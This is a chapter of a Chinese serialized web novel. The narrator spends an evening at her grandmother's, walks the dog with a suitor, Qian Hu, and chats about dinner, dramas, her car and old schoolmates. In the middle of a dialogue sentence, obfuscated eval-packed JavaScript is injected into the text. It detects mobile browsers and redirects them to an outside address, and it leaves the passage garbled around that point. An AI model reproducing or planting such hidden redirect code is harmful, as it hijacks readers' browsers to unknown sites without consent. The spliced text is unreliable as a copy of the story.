66.2025年7月,第29周

作品:《病灶

    66


    [2025年7月,第29周]


    外婆回到家,精神较往日好很多。


    “吔,你来了!我和你说,牛肉粉和普通的米粉味道还就是不一样!我之前舍不得花钱,每回都点最便宜的,想着在家吃肉不是一样!我今天嘴巴里没有味道,就让舅妈去给我买了碗牛肉粉,一下子就把我吃满足了!”


    “那不是挺好!今天没带饭吗?”我问道。


    “哪有不带的,”大舅妈回答,“家家说有股馊味,放的时间长了,她不吃。还是让我下去跑了一趟!”


    “是的,天热,这段时间就不要带饭了。我记得医院对面就是一条小吃街,想吃什么都可以买。”我回说。


    “哎哟,以前不晓得唦!总是你大舅妈在跑腿,她买什么我吃什么。再不会了。”


    “对了,淑芬,你把我买的个拐杖找出来,让李澄翕让我拼一下。”


    早几年,三不五时,外婆和妈妈就唤我全名了。


    东西到手,原来是可折叠拐杖。我一下子就拼好了,递给外婆。


    “哎哟,你说说,年轻人,脑子还是转得快,一下就拼好了!”她对舅妈说道。


    “外公的那根木拐杖呢?”拼好的这根,虽然是铁制,怎么看都不扎实,感觉随便给一脚就会折。


    “晓得放哪里去了,总归我用不惯。”外婆并不在意。


    收到钱鹄消息,我端着脱兔的晚饭往楼上走去。


    “你等我一下。”见面后,我和他说。


    走在下街道,“你今天回来的时间和平时差不多呀!”我提到。


    “我先把东西放回家了,然后洗了个澡。”他解释道。


    “路上好堵哇!也不知道为什么。”


    “你晚上在家家屋里吃的什么?”他得知我在外婆家吃饭,每天的例行公事,就多了询问晚饭内容这一项。


    “今天有红烧蹄膀,排骨藕汤,豆豉烧五花肉。”我随口报出了菜名。


    “哇,好丰盛,都是大菜!”他好似咽了一下口水。我也蛮喜欢喝藕汤,每回都得喝好几碗。”他说道。


    “我喝藕汤,一定要给一种调料,你知不知道是什么?”他来了兴致。


    说到藕汤,脑海中一下子出现了奶奶的调料盘。那是独家定制的,两个半圆弧度的铝盘托着扎有小孔的调料瓶。盛出汤之后,奶奶便会从厨房拿来调味品,加到汤里。


    “胡椒粉?”我问道。


    “对了!”他很是兴奋。


    “其实吧,藕汤不加调料也好喝。我觉得,少不了的是葱花。”


    “噫,我不喜欢那个。”他立即变脸,很是嫌弃。


    真是没得共同话题,我心忖。


    “你咧,晚上吃的什么菜?”话锋一转,我问向他。


    “唔……嗯……我忘了!”


    我料想不到他竟是这个回答。


    “你不是才吃嘛?”我反问道。


    “吃的太快了,还真是想不起来了。”看来,他拿定主意糊弄过去。


    其实吧,我也就随口一问。可他这反应,无疑透露了两个事实:一,晚饭吃的很简单,这一点,并没有什么问题;二,他觉得家里人烧的菜拿不出手,对于一个四肢不勤的人,就很不地道了。


    我觑看了他一眼,他的不作答,已是作答。


    “你平时看剧吗?”他转换话题。


    “没怎么看。”


    “我呀,最近在看《樱桃琥珀》。”他自问自答。


    虽然没看这部剧,剧情上热搜的时候,我有点进去过。犹记得博主吐槽的点在于女主跨越千山万水,奔赴香港追爱。对此我只有两点感想:一,“樱花树下站谁都美,‘女主’的爱给谁都热烈”;二,无论如何,女生还是多爱自己一些更好,“你若盛开,清风自来”。我对无脑付出无感,钱鹄提到这部剧,也不知是剧中的哪一点将他打动。


    遛完狗折返,走在家楼下的小道,钱鹄指着一辆车,开口询问道:“这是你的车吧?”


    不偏不倚,那就是我的车。


    “你怎么知道的?”他可能知道是一辆轿车,可轿车的型号,由于是英文缩写,妈妈大概率说不出来。


    “你的车一直停在楼下,猜来猜去,只有是这辆了。”他笑着说道。


    怎么说呢?被人摸底,还是钱财这类,不免叫我留了个心眼。虽然对我而言,家里的房子和车子,如今只是看上去还在。这一难以接受、叫人自觉卑微的现实,于他人眼里如何,却不定这般简单。往好了说,城里、城乡结合部、乡下,各有一套房子,家中三人一人一辆车,尤其是我的这辆,价值最高;母亲退休金不高,可也无人指望她发大财,父亲退休金近万,从办事处退下来不足一年,这一工作关系,向来被外婆和母亲看重;奶奶家暂且不提,外公外婆退休前分别是老师和医生,这一职业属性,放眼现在,也让人尊重。种种条件叠加,在过去能成其为底气,如今,也并非一无是处。


    我不愿靠外在条件给自己加持,却难免因不利情形而妄自菲薄。钱鹄各方面的条件,唯一入得了眼的,就是家庭和睦。这一点,说容易也不难,不搞拜高踩低那一套,家里的关系就坏不到哪里去。至于说难,再好的物质条件,人心有了隔阂,也拧不成一股绳,我家就是现成的例子。至于钱鹄个人,种种不足,却都是小打小闹,难以上纲上线成致命缺点。一方面,我默许他的不足,另一方面,仍在挖掘他的不错之处。后者收效甚微,却于继续探索无碍。正如我所在的偌大家族,极其恶劣的行径有之,可些许叫人温暖的举措也不是没有。若说卑微,父亲掏空的家财叫人卑微,可骨子里拖沓难舍的委曲求全,才是卑微到致命的毒瘤。


    钱鹄仍旧跟着我上楼,给脱兔卸下胸背,我拿了两瓶苏打水,递给他一瓶。


    “桌子上好多药啊,都是你在吃?”他问道。


    我点了点头。


    “这个口服液有什么用?”他指着生脉饮问。


    “补气血。”


    我照旧把他带去店里。妈妈已见怪不怪,她找到遥控器,把用餐间的挂机打开。


    “明天我们去哪里?”钱鹄问道。


    “不出去不行吗?”连着两周出去,我已觉得无趣。


    “你看你除了在店里帮忙,就是在家看书,每个星期出去走走,放松一下,不挺好嘛!”他开解道。


    问题就出在这里。考虑到学习时间不够,我连骑车都放弃了,每七天,却得留出一个下午干别的事。还不止是一个下午,周五和周六的晚上,也一起受到牵连。


    “你就当陪我嘛!我上了一周的班,也想周末出去玩一下。”


    真是无法理解,工作的时候,周末我只想独处。


    罢了,这周有《罗小黑战记2》上映。


    “去英特吧,有一部动画片,我等很久了。”第一部刚出的时候,我就在电影院看了。我接触罗小黑还蛮早,应该是泡面番火了之后,罗小黑的各种周边大行其道,如输入法皮肤和聊天表情。由于小黑猫生动调皮,用起来颇顺手。


    “唔,讲的是什么?”钱鹄一脸茫然。


    “你不知道这部番?”我问道。


    “不知道。”他摇了摇头。


    “怎么说呢?不太好介绍啊。总之是国产动画片,理解起来应该不难。”一下子,还真不好简短说明。


    “哦。”


    “罗小黑还有动漫,你可以找着看一看,挺有趣的。”


    “嗯,好的。”


    “对了,你还记得钱乐吗?”我问钱鹄。


    “记得呀,怎么了?”


    “他和我不是小学同学嘛,有一回在榕潭下馆子,还碰到他和他老婆了。”


    “他啊,嗯,以前经常在一起玩。他老跟别人打架,还收保护费,长大后就蛮少接触了。”


    上回在店里碰到钱乐的情形,依稀还记得清楚。


    “你早上起来,怎么不喊我!”一位年轻女孩嗔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17330425|198639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怪同桌的另一位。


    “我还不是想让你多睡一会。”男生耐心解释道。


    “你要是叫我,我可以送你出门呀!明天早上记得叫我,知不知道!”女孩撒娇道。


    “好,都听你的!”男生妥协道。


    小学班上的四十来个同学,每个人的名字,我都记得清楚。不过,也只是当年。虽然钱乐常和人打架,我却觉得他本性不坏。碰巧在店里听到他和另一半谈话,还暗自为他感到高兴。


    “他们家是不是他奶奶把他带大的?”我问道。


    “不啊,他爸妈都在。不过,在他小时候,父母好像不常在家。他以前经常找我玩,你晓不晓得!”


    “他们家现在的条件可好呢!楼房建了,家具电器全买的新的,看上去老气派了。也难怪,有钱嘛,什么东西买不到。”


    “对了,我家家常在集上和人谈家常,就是拐角卖菜的那一家。”


    可真是巧了,不出意外,就是多收我钱的那家。


    “哦?你们两家很熟?”我问道。


    “还行吧,我家家没事就去他们家玩。他们家和钱乐很熟,蛮多事情都是他们和我家家讲,我家家回去就和我说。”


    “你知不知道之前还建,专门有人请钱乐做事呀!就那一阵,他赚了不少钱。”他的兴致眼见提了上来。该说他心术不正呢,还是见钱眼开呢?这种事情,如果作为当事人,不知道他还能笑出几分。


    “你要是感兴趣,我可以和你说道说道。”他还想要拿乔。


    “我不想知道。”我拒绝得果断。


    “其实呀……”他却无法抑制自己对隐秘之事想要显摆的欲望。


    我打断他,“我说我不想知道。”


    他看了我一眼,仍坚持把话说完:“这也没什么,就是有些事做起来很脏,就算是辅警,还是不要沾边的好……”


    很过了一会,他才合上嘴巴。


    这种黑暗面,我父母很少和我讲。可不同的人,观念毕竟不一样,好似仅是知道,就显得自己能。


    我对猎奇没有兴趣,从来。


    “你小学在一班吧?”我继续和他聊着往事。


    “是吧。”他应了一声。


    “那你认不认得姜斯承呀?”我问道。


    “不认得咧。他是哪个?”


    “我表哥。那你认得宋钰吗?”印象中,钱鹄与宋钰相识。


    “宋钰我认得。我俩初中还在一个班上。”


    “这就奇怪了,宋钰和我哥是小学同学,他们俩都在一班。你小学也在一班,怎么就不和他们一起呢?”


    “我小学留了一级,初中才和宋钰一起玩。你表哥初中在别的班吧!”他解释道。


    这下就说得通,为何姜斯承和钱鹄互相没有印象。毕竟是二十年前的事,我的记性再好,也难免有些差错。


    而且,姜斯承七岁才上的小学,这是家里人有意为之。他和钱鹄同属马,却都只比我高两个年级,一直以来,我忽略了这一岁之差。


    不过,为何钱鹄小学会留级?留级这事在我身边并不少见,很多转学去杉湖的小伙伴,都选择了留级,怕跟不上那边的课程。其中内里,我下意识回避。


    “好吧。”


    我解锁屏幕,给钱鹄转发了一条链接,向他推荐道:“我在D站上刷到一个喝酒UP主,下班准备点小菜,小酌一杯,还挺有意思。”


    许是大数据共享了我购买气泡酒的信息,D站开始给我推送相关的视频,除了这个UP主,还有不少《晚酌的流派》的剪辑。


    “你上回不是买了三得利的饮料嘛,它家的气泡酒也不错。”


    钱鹄点开视频,看得有些入神,一时之间,竟没听到我在说话。


    一个视频看完,他切换了应用,输入了几个字,抬头对我说:“她在神奇(短视频平台)也有账号欸!”


    除去喝酒这一内容物,UP主的颜值也蛮在线的。


    我笑着点了点头。